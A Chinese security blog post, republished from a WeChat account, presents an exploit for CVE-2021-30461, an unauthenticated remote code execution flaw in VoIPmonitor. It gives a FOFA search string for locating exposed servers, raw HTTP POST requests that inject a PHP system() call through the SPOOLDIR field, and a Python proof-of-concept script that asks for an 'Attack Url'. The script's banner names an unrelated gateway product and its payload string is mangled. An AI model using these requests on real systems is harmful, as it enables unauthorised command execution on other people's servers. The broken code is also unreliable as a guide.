VoIPmonitor 远程命令执行漏洞 CVE-2021-30461

admin 2021年5月8日07:34:30评论320 views字数 3404阅读11分20秒阅读模式

VoIPmonitor 远程命令执行漏洞 CVE-2021-30461

VoIPmonitor 远程命令执行漏洞 CVE-2021-30461


:漏洞描述🐑


VoIPmonitor是“具有在Linux上运行的SIP RTP和RTCP VoIP协议的具有商业前端的开源网络数据包嗅探器”。

使用通过Web界面到达的用户提供的数据,允许未经身份验证的远程用户触发VoIPmonitor中的远程PHP代码执行漏洞。


二:  漏洞影响🐇


VoIPmonitor < 24.60


三:  漏洞复现🐋

FOFA: "VoIPmonitor"

登录页面如下

VoIPmonitor 远程命令执行漏洞 CVE-2021-30461

index.php文件中的关键代码
$setConfigurationTypeValue_rslt = array();if(file_exists('config/configuration.php')) { $existsConfiguration = true; if(isset($_POST['recheck'])) { if(!empty($_POST['SPOOLDIR'])) { setConfigurationTypeValue__index('SPOOLDIR', $_POST['SPOOLDIR']); } }

传入参数 recheck 和 SPOOLDIR, 并将SPOOLDIR 写入 config/configuration.php

VoIPmonitor 远程命令执行漏洞 CVE-2021-30461

发送如下请求包

POST /index.php HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeAccept-Language: en-US,en;q=0.5Content-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 29
SPOOLDIR=%2Ftmp&recheck=annen
POST /index.php HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeAccept-Language: en-US,en;q=0.5Content-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 49
SPOOLDIR=test%22.system%28id%29.%22&recheck=annen

VoIPmonitor 远程命令执行漏洞 CVE-2021-30461

 四:  漏洞POC🦉

#!/usr/bin/python3#-*- coding:utf-8 -*-# author : PeiQi# from   : http://wiki.peiqi.tech
import base64import requestsimport randomimport reimport jsonimport sysfrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m') print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m') print('+ 33[34m公众号 : PeiQi文库 33[0m') print('+ 33[34mVersion: 锐捷EG网关 cli.php RCE 33[0m') print('+ 33[36m使用格式: python3 poc.py 33[0m') print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx 33[0m') print('+------------------------------------------')
def POC_1(target_url): vuln_url = target_url + "/index.php" data = {"SPOOLDIR": "/tmp", "recheck": "annen"} headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, data=data, headers=headers, verify=False) except Exception as e: print("33[31m[x] 请求失败:{} 33[0m".format(e)) sys.exit(0)
POC_2(target_url)
def POC_2(target_url): vuln_url = target_url + "/index.php" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = {"SPOOLDIR": "test".system(id)."", "recheck": "annen"} print("33[36m[o] 正在执行命令 id .....33[0m") try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, data=data, headers=headers, verify=False) if "uid=" in response.text: print("33[36m[o] 成功执行 id, 目标存在漏洞.....33[0m") else: print("33[31m[x] 请求失败 33[0m") exit() except Exception as e: print("33[31m[x] 请求失败:{} 33[0m".format(e)) sys.exit(0)

if __name__ == '__main__': title() target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m")) POC_1(target_url)

VoIPmonitor 远程命令执行漏洞 CVE-2021-30461



 五:  关于文库🦉



    在线文库:

http://wiki.peiqi.tech


    Github:

https://github.com/PeiQi0/PeiQi-WIKI-POC

VoIPmonitor 远程命令执行漏洞 CVE-2021-30461


最后

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

别忘了Github下载完给个小星星⭐


同时知识星球也开放运营啦,希望师傅们支持支持啦🐟

知识星球里会持续发布一些漏洞公开信息和技术文章~

VoIPmonitor 远程命令执行漏洞 CVE-2021-30461






由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



本文始发于微信公众号(PeiQi文库):VoIPmonitor 远程命令执行漏洞 CVE-2021-30461

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月8日07:34:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   VoIPmonitor 远程命令执行漏洞 CVE-2021-30461http://cn-sec.com/archives/368562.html

发表评论

匿名网友 填写信息